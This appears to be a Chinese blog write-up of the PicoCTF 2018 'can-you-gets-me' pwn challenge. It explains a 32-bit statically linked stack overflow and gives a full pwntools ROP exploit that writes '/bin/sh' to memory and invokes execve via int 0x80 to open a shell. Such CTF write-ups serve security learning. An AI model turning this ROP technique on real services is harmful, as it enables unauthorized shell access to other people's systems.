非常规情况下栈溢出系统调用——PicoCTF_2018_can-you-gets-me

前言:

对于这种非常规的栈溢出题目,我自己也是见的比较少,故写此博客记录一下。

解题思路

查看保护

非常规情况下栈溢出系统调用——PicoCTF_2018_can-you-gets-me_第1张图片
只开了NX保护的32位程序,如果是常规题的话,应该是非常容易做的。

进入IDA查看伪代码

打开IDA,如果是第一次见这种题目就会傻眼了。
非常规情况下栈溢出系统调用——PicoCTF_2018_can-you-gets-me_第2张图片
题目中的每一个函数都好像是自己写的,那么我们就不能利用got表来泄露函数地址来getshell了。
题目开了NX保护,我们不能写shellcode,常规的ROP又利用不了,我们就完全利用不了libc里边的函数了。
乍一看,好像没什么办法了,但是我们可以用程序中非常多的gadget来调用系统调用。

目标:execve(0xb, “/bin/sh”, 0, 0);

既然是系统调用,我们就很容易想到execve来getshell,而程序中也正好有这些gadgets,包括最重要的int 0x80。
而execve的结构是:

eax = 0x0b
ebx = address of "/bin/sh"
ecx = 0
edx = 0

我们就用ROPgadget来找到我们想要的gadget。

0x080b81c6 : pop eax ; ret
0x0806f02a : pop edx ; ret
0x0806f051 : pop ecx ; pop ebx ; ret
0x080549db : mov [edx], eax;ret
0x08049303 : xor eax, eax ; ret
0x0808f097 : add eax, 2 ; ret
0x0808f0b0 : add eax, 3 ; ret
0x0806cc25 : int 0x80
0x080481b2 : ret

而且我们还需要把/bin/sh放到一个地方,放在哪里合适呢?

0x08048000 0x080e9000 r-xp	/mnt/hgfs/share/buuctf/PicoCTF_2018_can-you-gets-me/PicoCTF_2018_can-you-gets-me
0x080e9000 0x080eb000 rw-p	/mnt/hgfs/share/buuctf/PicoCTF_2018_can-you-gets-me/PicoCTF_2018_can-you-gets-me   #毫无疑问,放在这里可写的地方最合适
0x080eb000 0x0810e000 rw-p	[heap]
0xf7ffa000 0xf7ffd000 r--p	[vvar]
0xf7ffd000 0xf7ffe000 r-xp	[vdso]
0xfffdd000 0xffffe000 rw-p	[stack]

我们就放在0x080e9000到0x080eb000之间就行
然后我们用我们找到的gadgets来构造exp就可以了。

完整exp:

#! /usr/bin/env python
from pwn import *

p = process('./PicoCTF_2018_can-you-gets-me')
#p = remote('node3.buuoj.cn', 28541)

writeable_memory = 0x080e9040
binsh = 0x80e9040
int80 = 0x0806cc25
ret = 0x080481b2

pop_eax = 0x080b81c6
pop_edx = 0x0806f02a
pop_ecx_ebx = 0x0806f051
mov_eax_to_edx = 0x080549db

set_eax_zero = 0x08049303
add_eax_two = 0x0808f097
add_eax_three = 0x0808f0b0

payload = ""
payload += "A"*28

payload += p32(pop_edx)
payload += p32(writeable_memory)

payload += p32(pop_eax)
payload += "/bin"

payload += p32(mov_eax_to_edx)

writeable_memory += 4

payload += p32(pop_edx)
payload += p32(writeable_memory)

payload += p32(pop_eax)
payload += "/sh\x00"

payload += p32(mov_eax_to_edx)

writeable_memory += 3

payload += p32(set_eax_zero)
payload += p32(pop_edx)

payload += p32(writeable_memory)    #   让字符串以空结尾
payload += p32(mov_eax_to_edx)

payload += p32(pop_ecx_ebx)
payload += p32(0)
payload += p32(binsh)

payload += p32(pop_edx)
payload += p32(0)

payload += p32(set_eax_zero)
payload += p32(add_eax_three)
payload += p32(add_eax_three)
payload += p32(add_eax_three)
payload += p32(add_eax_two)     # eax = 0x0b

payload += p32(int80)
payload += p32(ret)

p.recvuntil("GIVE ME YOUR NAME!")
p.send(payload)
p.interactive()

你可能感兴趣的:(栈溢出,ROP,pwn)